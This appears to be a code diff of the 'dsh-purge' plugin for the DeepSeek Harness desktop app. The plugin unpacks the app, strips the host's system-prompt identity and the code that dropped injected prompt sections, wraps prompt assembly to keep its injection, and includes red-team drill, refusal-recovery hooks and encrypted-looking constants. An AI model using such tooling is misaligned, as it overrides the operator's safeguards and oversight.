obs.observe(document.documentElement, { attributes: true, attributeFilter: ["data-ds-dark-theme", "class", "style"] });
|
||||
const timer = window.setInterval(sync, 1500);
|
||||
return () => { obs.disconnect(); window.removeEventListener("storage", onStorage); window.clearInterval(timer); };
|
||||
return () => { obs.disconnect(); window.clearInterval(timer); };
|
||||
}, []);
|
||||
useEffect(() => {
|
||||
let uiTag = document.querySelector('style[data-dsh-purge-ui="1"]');
|
||||
@@ -7816,21 +7914,7 @@ body[data-ds-dark-theme] .dshp-rewind-item span{color:var(--dsw-alias-label-tert
|
||||
try { if (__dshPurgeDrill && __dshPurgeDrill.setDockWidth) __dshPurgeDrill.setDockWidth(geom.w); } catch { /* ignore */ }
|
||||
}, [geom]);
|
||||
useEffect(() => {
|
||||
const onResize = () => setGeom((g) => {
|
||||
const vw = window.innerWidth;
|
||||
const vh = window.innerHeight;
|
||||
const nearRight = (g.x + g.w) >= (vw - 28);
|
||||
const tall = g.y <= 64 && g.h >= Math.min(vh * 0.55, vh - 80);
|
||||
let next = { x: g.x, y: g.y, w: g.w, h: g.h };
|
||||
if (nearRight) next.x = Math.max(8, vw - g.w - 8);
|
||||
if (tall) {
|
||||
next.y = 48;
|
||||
next.h = Math.max(360, vh - next.y - 12);
|
||||
} else if ((g.y + g.h) > vh - 8) {
|
||||
next.h = Math.max(320, vh - g.y - 12);
|
||||
}
|
||||
return clampDockGeom(next);
|
||||
});
|
||||
const onResize = () => setGeom((g) => clampDockGeom(g));
|
||||
window.addEventListener("resize", onResize);
|
||||
return () => window.removeEventListener("resize", onResize);
|
||||
}, []);
|
||||
|
||||
+220
-219
@@ -1,223 +1,224 @@
|
||||
const SLOT_ROWS = [
|
||||
"fwPQnfUsPLjE975cLv9NV1r3hS9U1pYOdaGSPmz6ZfS+itq9udo0ZInBoglQsdvM9F8sg2b6BkrT/L2c7FHJ+iTkkbduLRzn",
|
||||
"44nJ1OQsnM/fs+ffmi5irNKVejqeZvnZBNclqXSp+BVGbgq2sshefSeBiNo9hYTuT1OjqErk3D1R9FoBmOz3GE4x3R0K8h/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aAKHJTUMPLUu2w3PMbdQZRLQ96vwKiWjxsAwvjnKyo7bPZx8HXjjlBWVDEee",
|
||||
"Ul6smsYKI539Ql8Hb886dfyuuJq9l/U1jAjJQoCazXo/kxzDVIQXr4RcZFgilxaszKqFkOKlBVjweEWzwCldNpCzty2B3zIS",
|
||||
"EKVLz1Mzc61twTNn1BJUM/PyfZs+fONLUb5ij1Zwgk8BKcT18B3ffKcZIbnpeqzUfTfhmh44Vxv+bvYgOARVfZ9U00St7QBH",
|
||||
"MRn0CI8QgCjfzRVwtjVviK7UYy8bNz+FDAJWSOUAsZ4pC1thVi9lmaxtwr9rDcRESKc8amB0fySb/GC/A7rdsE8cfOCVjik4",
|
||||
"4bHatHzdbsVkf892zJ6mmA1ehnoPOoVPC1gt3k9BVr+oH84/kBwwaDA1CzlmeGXIRpSSsQ40BKh5A6iw2k1I3dz1K73cdHZP",
|
||||
"59iX22j8cRfTN+nECwV8eQ8lEK8Ib5QwtBfjA3jRzKl16edC0L7zQwFDf1Mt6be46JtByXYS33Pw3DysYGrmvKZkOoF9NYWh",
|
||||
"e7SUdia9lWbSiXev7caVCMKeWas592NfJn2eMdtw49hJ9OFvzYOoSV18n6jH4nn8+wXz1gkkjGY7xesdpv7nM6PXCJ2OVVNo",
|
||||
"7b55Xw=="
|
||||
];
|
||||
|
||||
export const SLOT = SLOT_ROWS.join("");
|
||||
export const MASK = "YkICU2svXFjIgb3hoJ6znQ==";
|
||||
export const TAG = "ZIzCJ2DlzDmXg5a65CoODw==";
|
||||
export const IV = "S+yn2lp4X5b+YQvk";
|
||||
export const MASK = "k4aKdIAFiq0wvfzZT4hUvw==";
|
||||
export const TAG = "/us2Hq2l+gHR4oV3NiDWkA==";
|
||||
export const IV = "AJER7n/GKRo0qsJr";
|
||||
+604
-72
File diff suppressed because it is too large.
Load diff
+245
-24
@@ -2,8 +2,9 @@ import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { execFileSync, spawn } from "node:child_process";
|
||||
import { fileURLToPath } from "node:url";
|
||||
import { isWshAscii, launchOfficialDesktopUpdate, pendingOfficialUpdate, wshLiteral } from "./official-update.js";
|
||||
import { isWshAscii, wshLiteral } from "./official-update.js";
|
||||
import { asarArchiveIsFile, hostFs } from "./extract-asar.js";
|
||||
import { hostPromptKeepsInject } from "./host-clean.js";
|
||||
|
||||
// 无归档时用 node:fs。app.asar 还在时不能把映射出来的 resources/app 当成已经解开。
|
||||
const fs = hostFs;
|
||||
@@ -771,7 +772,9 @@ function helperEnv(payload) {
|
||||
|
||||
function spawnHelper(helper, payload, opts = {}) {
|
||||
const plan = restartPlan();
|
||||
if (!plan.execPath) throw new Error(plan.error || "未找到 DSH Desktop.exe,无法重启桌面应用");
|
||||
const hinted = payload && payload.execPath ? payload.execPath : "";
|
||||
const execPath = hinted || plan.execPath;
|
||||
if (!execPath) throw new Error(plan.error || "未找到 DSH Desktop.exe,无法重启桌面应用");
|
||||
const child = spawn(process.execPath, [helper], {
|
||||
detached: true,
|
||||
stdio: "ignore",
|
||||
@@ -779,9 +782,9 @@ function spawnHelper(helper, payload, opts = {}) {
|
||||
shell: false,
|
||||
env: helperEnv({
|
||||
kind: "desktop",
|
||||
execPath: plan.execPath,
|
||||
execPath,
|
||||
argv: plan.argv,
|
||||
cwd: plan.cwd,
|
||||
cwd: plan.cwd || path.dirname(execPath),
|
||||
pid: process.pid,
|
||||
...payload,
|
||||
}),
|
||||
@@ -910,6 +913,7 @@ const ASAR_RENAME_WHEN_IDLE_SH = [
|
||||
"lock=$3",
|
||||
"deadline=$(($(date +%s) + 1800))",
|
||||
"relaunch() {",
|
||||
" unset ELECTRON_RUN_AS_NODE",
|
||||
" case \"$(uname -s)\" in",
|
||||
" Darwin)",
|
||||
" case \"$exe\" in",
|
||||
@@ -921,7 +925,6 @@ const ASAR_RENAME_WHEN_IDLE_SH = [
|
||||
" esac",
|
||||
" ;;",
|
||||
" esac",
|
||||
" unset ELECTRON_RUN_AS_NODE",
|
||||
" nohup \"$exe\" >/dev/null 2>&1 &",
|
||||
"}",
|
||||
"while [ \"$(date +%s)\" -lt \"$deadline\" ]; do",
|
||||
@@ -988,10 +991,22 @@ export function scheduleAsarRenameWhenIdle({ exe, asar } = {}) {
|
||||
return { pending: true };
|
||||
}
|
||||
|
||||
/** 等当前桌面进程退出后把 app.asar 挪走,再启动 exe。解开后的 resources\\app 才会被加载。 */
|
||||
/** 等当前桌面进程退出后把 app.asar 挪走,再启动 exe。解开后的 resources/app 才会被加载。 */
|
||||
export function scheduleAsarSwapRestart({ exe, asar, waitPid = process.pid, exit = false } = {}) {
|
||||
if (!exe || !asar) throw new Error("缺少桌面 exe 或 app.asar,无法重启");
|
||||
if (process.platform !== "win32") return scheduleAsarRenameWhenIdle({ exe, asar });
|
||||
if (sealedSwapKind() === "helper") {
|
||||
const helper = fileURLToPath(new URL("./restart-desktop.js", import.meta.url));
|
||||
spawnHelper(helper, {
|
||||
respawn: true,
|
||||
killApp: true,
|
||||
asar,
|
||||
execPath: exe,
|
||||
cwd: path.dirname(exe),
|
||||
waitPid,
|
||||
}, { exit: false });
|
||||
if (exit !== false) setTimeout(() => process.exit(0), 800);
|
||||
return { scheduled: true };
|
||||
}
|
||||
const script = path.join(os.tmpdir(), `dsh-purge-asar-swap-${process.pid}.ps1`);
|
||||
fs.writeFileSync(script, ASAR_SWAP_PS1, "utf8");
|
||||
const child = spawn(
|
||||
@@ -1016,8 +1031,30 @@ export function scheduleAsarSwapRestart({ exe, asar, waitPid = process.pid, exit
|
||||
return { scheduled: true };
|
||||
}
|
||||
|
||||
/**
|
||||
* 点「应用」之后走哪条重启。#64:宿主 requestRestart 在桌面端会空返回,进程不动。
|
||||
* Windows 官方包用 wscript 结束再打开。Linux / macOS 能定位到 exe 就走 restart-desktop.js。
|
||||
*/
|
||||
export function desktopRestartChoice(input = {}) {
|
||||
const platform = input.platform || process.platform;
|
||||
const exe = input.exe || "";
|
||||
const desktopExe = Boolean(exe && isDesktopExecutable(exe));
|
||||
const official = Boolean(exe && isOfficialHarnessExecutable(exe));
|
||||
if (input.openBrowser === false) return "skip";
|
||||
if (platform === "win32" && official) return "windows-official";
|
||||
if (desktopExe && input.asarSealed === true) return "asar-swap";
|
||||
if (desktopExe) return "helper";
|
||||
if (input.hasRuntime) return "request-restart";
|
||||
return "helper";
|
||||
}
|
||||
|
||||
/** 密封 asar 要先退出进程才能挪走文件。Windows 用 PowerShell;Linux / macOS 用同一份重启脚本。 */
|
||||
export function sealedSwapKind(platform = process.platform) {
|
||||
return platform === "win32" ? "powershell" : "helper";
|
||||
}
|
||||
|
||||
function officialExeFromProcess() {
|
||||
// macOS / Linux 的重启走宿主 requestRestart。这里的 wscript 只服务 Windows 官方包。
|
||||
// Windows 官方包用 wscript。macOS 解开后的重启走 restart-desktop.js,不靠 requestRestart。
|
||||
if (process.platform !== "win32") return "";
|
||||
if (isOfficialHarnessExecutable(process.execPath)) return path.normalize(process.execPath);
|
||||
const resources = process.resourcesPath;
|
||||
@@ -1039,7 +1076,9 @@ function dshHomeForRelaunch() {
|
||||
return current;
|
||||
}
|
||||
|
||||
export function scheduleRestart(request, ctx) {
|
||||
export function scheduleRestart(request, ctx, options = {}) {
|
||||
// 启动自检会带 openBrowser:false。桌面进程不再因此杀掉自己。
|
||||
if (options.openBrowser === false) return { restarting: false, skipped: true };
|
||||
const exe =
|
||||
officialExeFromProcess() ||
|
||||
findDesktopAppExecutable() ||
|
||||
@@ -1053,15 +1092,38 @@ export function scheduleRestart(request, ctx) {
|
||||
return { restarting: true, asarSwap: true };
|
||||
}
|
||||
const runtime = desktopRuntimeOf(ctx);
|
||||
const choice = desktopRestartChoice({
|
||||
exe,
|
||||
asarSealed: false,
|
||||
hasRuntime: Boolean(runtime),
|
||||
});
|
||||
if (choice === "helper" && exe && isDesktopExecutable(exe)) {
|
||||
const helper = fileURLToPath(new URL("./restart-desktop.js", import.meta.url));
|
||||
try {
|
||||
spawnHelper(helper, {
|
||||
respawn: true,
|
||||
killApp: true,
|
||||
execPath: exe,
|
||||
cwd: path.dirname(exe),
|
||||
}, { exit: false });
|
||||
} catch (error) {
|
||||
return {
|
||||
restarting: false,
|
||||
error: error instanceof Error ? error.message : String(error),
|
||||
};
|
||||
}
|
||||
return { restarting: true };
|
||||
}
|
||||
if (runtime) {
|
||||
// 只走桌面整应用 relaunch,不要 exit Host(那会先把内嵌 web 单独拉起来)。
|
||||
Promise.resolve(runtime.requestRestart()).catch((err) => {
|
||||
console.warn("[dsh-purge] desktop requestRestart failed:", err);
|
||||
});
|
||||
return;
|
||||
return { restarting: true };
|
||||
}
|
||||
const helper = fileURLToPath(new URL("./restart-desktop.js", import.meta.url));
|
||||
spawnHelper(helper, { respawn: true, killApp: true }, { exit: false });
|
||||
return { restarting: true };
|
||||
}
|
||||
|
||||
function jsString(value) {
|
||||
@@ -1086,8 +1148,13 @@ function officialRestartScript(exe, asar, dshHome) {
|
||||
"function pids() { var out = []; var root = String(installRoot() || '').replace(/\\//g, '\\\\').toLowerCase(); var e = new Enumerator(wmi.ExecQuery(\"SELECT ProcessId, ExecutablePath FROM Win32_Process WHERE Name = 'DeepSeek Harness.exe'\")); for (; !e.atEnd(); e.moveNext()) { var p = e.item(); var ep = String(p.ExecutablePath || '').replace(/\\//g, '\\\\').toLowerCase(); if (samePath(p.ExecutablePath, exe) || (root && ep.indexOf(root) === 0)) out.push(p.ProcessId); } return out; }",
|
||||
"log('begin');",
|
||||
"var promptFile = asar.replace(/app\\.asar$/i, 'app') + '\\\\dsh\\\\node_modules\\\\@deepseek-ai\\\\dsh-system-prompt\\\\lib\\\\index.js';",
|
||||
"var altFile = asar.replace(/app\\.asar$/i, 'app') + '\\\\node_modules\\\\@deepseek-ai\\\\dsh-system-prompt\\\\lib\\\\index.js';",
|
||||
"function readBody(file) { if (!fso.FileExists(file)) return ''; var tf = fso.OpenTextFile(file, 1); var body = tf.ReadAll(); tf.Close(); return body; }",
|
||||
"function hostClean(body) { if (!body) return null; var ident = body.indexOf('[dsh-purge] identity stripped') >= 0; var kept = body.indexOf('[dsh-purge] complete prompt keeps waterfall inject') >= 0 || body.indexOf('[dsh-purge] complete prompt keeps inject') >= 0; if (ident && kept) return true; if (body.indexOf('system-prompt/assemble') < 0) return false; var identityLeft = body.indexOf('You are an AI agent powered by DeepSeek Harness.') >= 0; var drops = body.indexOf('transformed.sections : [completeSection]') >= 0; return !identityLeft && !drops; }",
|
||||
"var clean = false;",
|
||||
"if (fso.FileExists(promptFile)) { var tf = fso.OpenTextFile(promptFile, 1); var body = tf.ReadAll(); tf.Close(); clean = body.indexOf('[dsh-purge] identity stripped') >= 0 && body.indexOf('[dsh-purge] complete prompt keeps inject') >= 0; }",
|
||||
"var primary = hostClean(readBody(promptFile));",
|
||||
"var alt = hostClean(readBody(altFile));",
|
||||
"clean = (primary == true || alt == true) && primary != false && alt != false;",
|
||||
"if (!clean) log('clean markers missing; not starting');",
|
||||
"if (clean) {",
|
||||
"log('clean markers ok');",
|
||||
@@ -1111,26 +1178,39 @@ function officialRestartScript(exe, asar, dshHome) {
|
||||
"if (!renamed) { log('rename failed; not starting'); }",
|
||||
"if (renamed) {",
|
||||
"try { sh.Environment('PROCESS').Remove('ELECTRON_RUN_AS_NODE'); } catch (ignore) {}",
|
||||
"try { sh.Environment('PROCESS').Remove('DSH_BASE'); } catch (ignoreBase) {}",
|
||||
"if (home) { try { sh.Environment('PROCESS').Item('DSH_HOME') = home; } catch (ignore2) {} }",
|
||||
"sh.Run('\"' + exe + '\"', 1, false);",
|
||||
"log('started');",
|
||||
"}",
|
||||
"}",
|
||||
"WScript.Sleep(180000);",
|
||||
"try { if (fso.FileExists(" + jsString(path.join(os.tmpdir(), "dsh-purge-official-restarting")) + ")) fso.DeleteFile(" + jsString(path.join(os.tmpdir(), "dsh-purge-official-restarting")) + ", true); } catch (ignoreFlag) {}",
|
||||
"",
|
||||
].join("\r\n");
|
||||
}
|
||||
|
||||
function unpackedHostIsClean(exe) {
|
||||
function systemPromptFiles(exe) {
|
||||
const appDir = appDirForExecutable(exe);
|
||||
if (!appDir) return false;
|
||||
const fp = path.join(appDir, "dsh", "node_modules", "@deepseek-ai", "dsh-system-prompt", "lib", "index.js");
|
||||
try {
|
||||
const text = fs.readFileSync(fp, "utf8");
|
||||
return text.includes("[dsh-purge] identity stripped")
|
||||
&& text.includes("[dsh-purge] complete prompt keeps inject");
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
if (!appDir) return [];
|
||||
return [
|
||||
path.join(appDir, "dsh", "node_modules", "@deepseek-ai", "dsh-system-prompt", "lib", "index.js"),
|
||||
path.join(appDir, "node_modules", "@deepseek-ai", "dsh-system-prompt", "lib", "index.js"),
|
||||
].filter((fp) => {
|
||||
try { return fs.existsSync(fp); } catch { return false; }
|
||||
});
|
||||
}
|
||||
|
||||
function unpackedHostIsClean(exe) {
|
||||
const files = systemPromptFiles(exe);
|
||||
if (files.length === 0) return false;
|
||||
return files.every((fp) => {
|
||||
try {
|
||||
return hostPromptKeepsInject(fs.readFileSync(fp, "utf8"));
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/** 点「重启」后结束当前官方客户端,挪开被占用的 app.asar,再自己打开。 */
|
||||
@@ -1155,11 +1235,20 @@ export function restartOfficialHarness(options = {}) {
|
||||
}
|
||||
return { restarting: false };
|
||||
}
|
||||
const pending = pendingOfficialUpdate(exe);
|
||||
if (pending) return launchOfficialDesktopUpdate(exe, pending);
|
||||
// #57:不自动跑官方 installer。宿主版本百花齐放,更新交接由用户自己做;
|
||||
// 插件只负责解包/补丁。旧逻辑会在落盘前误判失败并清掉 resources\app。
|
||||
if (options.requireClean !== false && !unpackedHostIsClean(exe)) {
|
||||
return { restarting: false, clean: false };
|
||||
}
|
||||
const inflight = path.join(os.tmpdir(), "dsh-purge-official-restarting");
|
||||
try {
|
||||
const age = Date.now() - fs.statSync(inflight).mtimeMs;
|
||||
// 同一次换进程里不再开第二轮,避免杀掉刚拉起来的客户端。
|
||||
if (age >= 0 && age < 180000) return { restarting: true, already: true };
|
||||
} catch {
|
||||
// 没有进行中的重启。
|
||||
}
|
||||
try { fs.writeFileSync(inflight, `${Date.now()}\n`, "utf8"); } catch { /* 标记写失败仍继续这一次 */ }
|
||||
const asar = options.asar || appAsarPath(exe);
|
||||
const asarPresent = Boolean(asar && asarArchiveIsFile(asar));
|
||||
const swapLock = asar ? `${asar}.swap-lock` : "";
|
||||
@@ -1198,7 +1287,139 @@ export function scheduleCleanupRestart({ cleanup = [], ctx } = {}) {
|
||||
Promise.resolve(runtime.requestRestart()).catch((err) => {
|
||||
console.warn("[dsh-purge] desktop uninstall restart failed:", err);
|
||||
});
|
||||
return;
|
||||
return { restarting: true };
|
||||
}
|
||||
spawnHelper(dest, { cleanup, helper: dest, respawn: true, killApp: true }, { exit: false });
|
||||
return { restarting: true };
|
||||
}
|
||||
|
||||
const CLI_ENTRY_BEGIN = "# dsh-purge cli entry begin";
|
||||
const CLI_ENTRY_END = "# dsh-purge cli entry end";
|
||||
const CLI_ASAR_ENTRY = "app.asar/dsh/node_modules/@deepseek-ai/dsh-desktop-host/lib/cli.js";
|
||||
const CLI_DIR_ENTRY = "app/dsh/node_modules/@deepseek-ai/dsh-desktop-host/lib/cli.js";
|
||||
|
||||
function ensureAppRuntimeSymlink(resources) {
|
||||
const appDir = path.join(resources, "app");
|
||||
const runtime = path.join(resources, "runtime");
|
||||
const link = path.join(appDir, "runtime");
|
||||
if (!isDir(appDir) || !isDir(runtime)) return { ok: false, reason: "missing" };
|
||||
try {
|
||||
if (fs.existsSync(link)) {
|
||||
const st = fs.lstatSync(link);
|
||||
if (st.isSymbolicLink() || st.isDirectory()) return { ok: true, already: true };
|
||||
}
|
||||
} catch {
|
||||
// create below
|
||||
}
|
||||
try {
|
||||
try {
|
||||
fs.rmSync(link, { recursive: true, force: true });
|
||||
} catch {
|
||||
// ignore
|
||||
}
|
||||
if (process.platform === "win32") {
|
||||
fs.symlinkSync("..\\runtime", link, "junction");
|
||||
return { ok: true, created: true, type: "junction" };
|
||||
}
|
||||
fs.symlinkSync("../runtime", link, "dir");
|
||||
return { ok: true, created: true, type: "dir" };
|
||||
} catch (e) {
|
||||
return { ok: false, error: String(e && e.message ? e.message : e) };
|
||||
}
|
||||
}
|
||||
|
||||
function patchOfficialCliShimText(text) {
|
||||
if (!text || !text.includes(CLI_ASAR_ENTRY)) return { changed: false, text };
|
||||
if (text.includes(CLI_ENTRY_BEGIN) && text.includes('"$entry"')) {
|
||||
return { changed: false, text, already: true };
|
||||
}
|
||||
const block = [
|
||||
CLI_ENTRY_BEGIN,
|
||||
`entry="$resources/${CLI_ASAR_ENTRY}"`,
|
||||
'if [ ! -f "$entry" ]; then',
|
||||
` entry="$resources/${CLI_DIR_ENTRY}"`,
|
||||
"fi",
|
||||
CLI_ENTRY_END,
|
||||
"",
|
||||
].join("\n");
|
||||
let next = text;
|
||||
if (!next.includes(CLI_ENTRY_BEGIN)) {
|
||||
const insertAt = next.search(/ELECTRON_RUN_AS_NODE=1/);
|
||||
if (insertAt >= 0) next = `${next.slice(0, insertAt)}${block}${next.slice(insertAt)}`;
|
||||
else next = `${block}${next}`;
|
||||
}
|
||||
next = next.replace(
|
||||
/"\$resources\/app\.asar\/dsh\/node_modules\/@deepseek-ai\/dsh-desktop-host\/lib\/cli\.js"/g,
|
||||
'"$entry"',
|
||||
);
|
||||
next = next.replace(
|
||||
/\$resources\/app\.asar\/dsh\/node_modules\/@deepseek-ai\/dsh-desktop-host\/lib\/cli\.js/g,
|
||||
'"$entry"',
|
||||
);
|
||||
return { changed: next !== text, text: next };
|
||||
}
|
||||
|
||||
function patchOfficialCliCmdText(text) {
|
||||
if (!text) return { changed: false, text };
|
||||
const hasAsar =
|
||||
text.toLowerCase().includes("app.asar\\dsh\\node_modules\\@deepseek-ai\\dsh-desktop-host\\lib\\cli.js") ||
|
||||
text.includes(CLI_ASAR_ENTRY);
|
||||
if (!hasAsar) return { changed: false, text };
|
||||
if (text.includes("dsh-purge cli entry begin")) return { changed: false, text, already: true };
|
||||
const asarWin = "%resources%\\app.asar\\dsh\\node_modules\\@deepseek-ai\\dsh-desktop-host\\lib\\cli.js";
|
||||
const dirWin = "%resources%\\app\\dsh\\node_modules\\@deepseek-ai\\dsh-desktop-host\\lib\\cli.js";
|
||||
let next = text;
|
||||
const block = [
|
||||
"REM dsh-purge cli entry begin",
|
||||
`set "entry=${asarWin}"`,
|
||||
`if not exist "%entry%" set "entry=${dirWin}"`,
|
||||
"REM dsh-purge cli entry end",
|
||||
"",
|
||||
].join("\r\n");
|
||||
if (!next.includes("dsh-purge cli entry begin")) next = block + next;
|
||||
next = next.replace(
|
||||
/%resources%\\app\.asar\\dsh\\node_modules\\@deepseek-ai\\dsh-desktop-host\\lib\\cli\.js/gi,
|
||||
"%entry%",
|
||||
);
|
||||
return { changed: next !== text, text: next };
|
||||
}
|
||||
|
||||
/** 解包 app.asar 后修补官方 CLI:入口回退到 app/,并补 app/runtime → ../runtime。 */
|
||||
export function repairOfficialCliAfterUnpack(exe = findDesktopAppExecutable()) {
|
||||
if (!exe || !isOfficialHarnessExecutable(exe)) return { ok: false, reason: "not_official" };
|
||||
const resources = resourcesDirForExecutable(exe);
|
||||
if (!resources || !isDir(resources)) return { ok: false, reason: "no_resources" };
|
||||
const report = { ok: true, resources, symlink: null, shims: [] };
|
||||
report.symlink = ensureAppRuntimeSymlink(resources);
|
||||
const shimPaths = [
|
||||
path.join(resources, "runtime", "cli", "bin", "dsh"),
|
||||
path.join(resources, "runtime", "cli", "bin", "dsh.cmd"),
|
||||
];
|
||||
for (const fp of shimPaths) {
|
||||
if (!isFile(fp)) {
|
||||
report.shims.push({ path: fp, status: "missing" });
|
||||
continue;
|
||||
}
|
||||
let text = "";
|
||||
try {
|
||||
text = fs.readFileSync(fp, "utf8");
|
||||
} catch (e) {
|
||||
report.shims.push({ path: fp, status: "read_error", error: String(e && e.message ? e.message : e) });
|
||||
continue;
|
||||
}
|
||||
const patched = fp.toLowerCase().endsWith(".cmd")
|
||||
? patchOfficialCliCmdText(text)
|
||||
: patchOfficialCliShimText(text);
|
||||
if (!patched.changed) {
|
||||
report.shims.push({ path: fp, status: patched.already ? "already" : "skipped" });
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
fs.writeFileSync(fp, patched.text, "utf8");
|
||||
report.shims.push({ path: fp, status: "patched" });
|
||||
} catch (e) {
|
||||
report.shims.push({ path: fp, status: "write_error", error: String(e && e.message ? e.message : e) });
|
||||
}
|
||||
}
|
||||
return report;
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
/**
|
||||
* 演练台授权落在当前 $DSH_HOME/dsh-purge,不进插件包,也不进用户主目录下的共享文件夹。
|
||||
* 插件更新只换 node_modules,这个文件还在,所以不再弹窗。
|
||||
* 成功卸载会删掉这一份;Web 和桌面各记各的。文件不存在才重新确认。
|
||||
*/
|
||||
import { existsSync, mkdirSync, readFileSync, renameSync, unlinkSync, writeFileSync } from "node:fs";
|
||||
import { dirname, join } from "node:path";
|
||||
|
||||
export function drillGrantPath(dshHome) {
|
||||
return join(dshHome, "dsh-purge", "drill-grant.json");
|
||||
}
|
||||
|
||||
export function readDrillGrant(dshHome) {
|
||||
const file = drillGrantPath(dshHome);
|
||||
if (!existsSync(file)) return { granted: false, path: file };
|
||||
try {
|
||||
const raw = JSON.parse(readFileSync(file, "utf8"));
|
||||
return {
|
||||
granted: !!(raw && raw.granted === true),
|
||||
path: file,
|
||||
at: raw && raw.at ? raw.at : null,
|
||||
};
|
||||
} catch {
|
||||
return { granted: false, path: file };
|
||||
}
|
||||
}
|
||||
|
||||
export function writeDrillGrant(dshHome) {
|
||||
const file = drillGrantPath(dshHome);
|
||||
mkdirSync(dirname(file), { recursive: true });
|
||||
const tmp = `${file}.${process.pid}.tmp`;
|
||||
const at = new Date().toISOString();
|
||||
writeFileSync(tmp, `${JSON.stringify({ granted: true, at }, null, 2)}\n`, "utf8");
|
||||
try {
|
||||
if (existsSync(file)) unlinkSync(file);
|
||||
renameSync(tmp, file);
|
||||
} catch (error) {
|
||||
try { unlinkSync(tmp); } catch { /* 临时文件留不住就让原错误抛出 */ }
|
||||
throw error;
|
||||
}
|
||||
return readDrillGrant(dshHome);
|
||||
}
|
||||
|
||||
/** 只删当前安装的授权文件。失败向上抛,不删整个目录。 */
|
||||
export function clearDrillGrant(dshHome) {
|
||||
const file = drillGrantPath(dshHome);
|
||||
if (!existsSync(file)) return false;
|
||||
unlinkSync(file);
|
||||
return true;
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
/** 重启前看系统提示词文件:标记写上了,或者当前原文里已经没有那两处旧拦截。 */
|
||||
export function hostPromptKeepsInject(text) {
|
||||
const body = String(text || "");
|
||||
const identityMarked = body.includes("[dsh-purge] identity stripped");
|
||||
const injectMarked = body.includes("[dsh-purge] complete prompt keeps waterfall inject")
|
||||
|| body.includes("[dsh-purge] complete prompt keeps inject");
|
||||
if (identityMarked && injectMarked) return true;
|
||||
// 空文件或不是这份模块,不能当成已经洗过。
|
||||
if (!body.includes("system-prompt/assemble")) return false;
|
||||
const identityLeft = body.includes("You are an AI agent powered by DeepSeek Harness.");
|
||||
const dropsInject = body.includes("transformed.sections : [completeSection]");
|
||||
return !identityLeft && !dropsInject;
|
||||
}
|
||||
+2
-2
@@ -15,8 +15,8 @@ export function hostAdapter(kind = detectSurface()) {
|
||||
return ADAPTERS[adapterFor(kind)] || web;
|
||||
}
|
||||
|
||||
export function scheduleRestart(request, ctx) {
|
||||
return hostAdapter().scheduleRestart(request, ctx);
|
||||
export function scheduleRestart(request, ctx, options = {}) {
|
||||
return hostAdapter().scheduleRestart(request, ctx, options);
|
||||
}
|
||||
|
||||
export function scheduleCleanupRestart(opts) {
|
||||
|
||||
@@ -625,6 +625,46 @@ function sanitizeAssemblySections(sections) {
|
||||
return out;
|
||||
}
|
||||
|
||||
/** 包住 assemble;宿主再赋值 assemble 时自动再包,避免重启后第一轮丢掉注入。 */
|
||||
export function installAssembleGuard(prompt, rewriteFn) {
|
||||
if (!prompt || typeof prompt.assemble !== "function" || typeof rewriteFn !== "function") {
|
||||
return false;
|
||||
}
|
||||
const wrap = (fn) => {
|
||||
if (typeof fn !== "function") return fn;
|
||||
if (fn._dshPurgeWrapped) return fn;
|
||||
const orig = fn.bind(prompt);
|
||||
const wrapped = async function assembleWithPurge(...args) {
|
||||
const assembled = await orig(...args);
|
||||
return rewriteFn(assembled, args[0]);
|
||||
};
|
||||
wrapped._dshPurgeWrapped = true;
|
||||
return wrapped;
|
||||
};
|
||||
try {
|
||||
let current = wrap(prompt.assemble);
|
||||
Object.defineProperty(prompt, "assemble", {
|
||||
configurable: true,
|
||||
enumerable: true,
|
||||
get() {
|
||||
return current;
|
||||
},
|
||||
set(next) {
|
||||
current = wrap(next);
|
||||
},
|
||||
});
|
||||
return true;
|
||||
} catch {
|
||||
if (prompt.assemble._dshPurgeWrapped) return true;
|
||||
try {
|
||||
prompt.assemble = wrap(prompt.assemble);
|
||||
return Boolean(prompt.assemble._dshPurgeWrapped);
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export function rewritePromptAssembly(assembled, fallbackInject = "", options = {}) {
|
||||
if (!assembled || !Array.isArray(assembled.sections)) return assembled;
|
||||
const opts = normalizeRewriteOptions(fallbackInject, options);
|
||||
|
||||
+394
-119
@@ -10,6 +10,8 @@ import {
|
||||
GLOBAL_PROMPT_ORDER,
|
||||
isMnemonPluginMessage,
|
||||
isRedteamSession,
|
||||
installAssembleGuard,
|
||||
modePromptText,
|
||||
rewritePromptAssembly,
|
||||
} from "./identity.js";
|
||||
import { capabilityProtocolText, CAPABILITY_SECTION } from "./capability-protocol.js";
|
||||
@@ -17,8 +19,17 @@ import { installSubagentRoleCapture, resolveSubagentRoleText } from "./redteam/r
|
||||
import * as rewind from "./rewind.js";
|
||||
import * as continueRetry from "./continue-retry.js";
|
||||
import * as uninstaller from "./uninstall.js";
|
||||
import { readDrillGrant, writeDrillGrant } from "./drill-grant.js";
|
||||
import { installRegionGate, readAllowText, writeAllowText } from "./net-scope.js";
|
||||
import * as refusalRecover from "./refusal-recover.js";
|
||||
import {
|
||||
applyShouldRestart,
|
||||
isInactiveContextError,
|
||||
settleDelayMs,
|
||||
settleMayReapply,
|
||||
settleMayRestart,
|
||||
watchContextLife,
|
||||
} from "./settle-policy.js";
|
||||
|
||||
export const name = "dsh-purge";
|
||||
|
||||
@@ -109,7 +120,15 @@ function watchWebTreeReady(ctx) {
|
||||
}
|
||||
|
||||
function fsExists(fp) {
|
||||
return fsFor(fp).existsSync(fp);
|
||||
const list = Array.isArray(fp) ? fp : [fp];
|
||||
return list.some((p) => {
|
||||
if (!p || typeof p !== "string") return false;
|
||||
try {
|
||||
return fsFor(p).existsSync(p);
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function line(title, value, ok = null) {
|
||||
@@ -126,7 +145,9 @@ function renderStatus(state) {
|
||||
if (state.ai_base) {
|
||||
out.push(line("插件根 / plugin root", state.ai_base));
|
||||
for (const [key, fp] of Object.entries(state.files)) {
|
||||
out.push(` ${fsExists(fp) ? "✓" : "✗"} ${key.padEnd(22)} ${fp}`);
|
||||
const list = Array.isArray(fp) ? fp : [fp];
|
||||
const shown = list.length <= 1 ? String(list[0] || "") : `${list[0]} (+${list.length - 1})`;
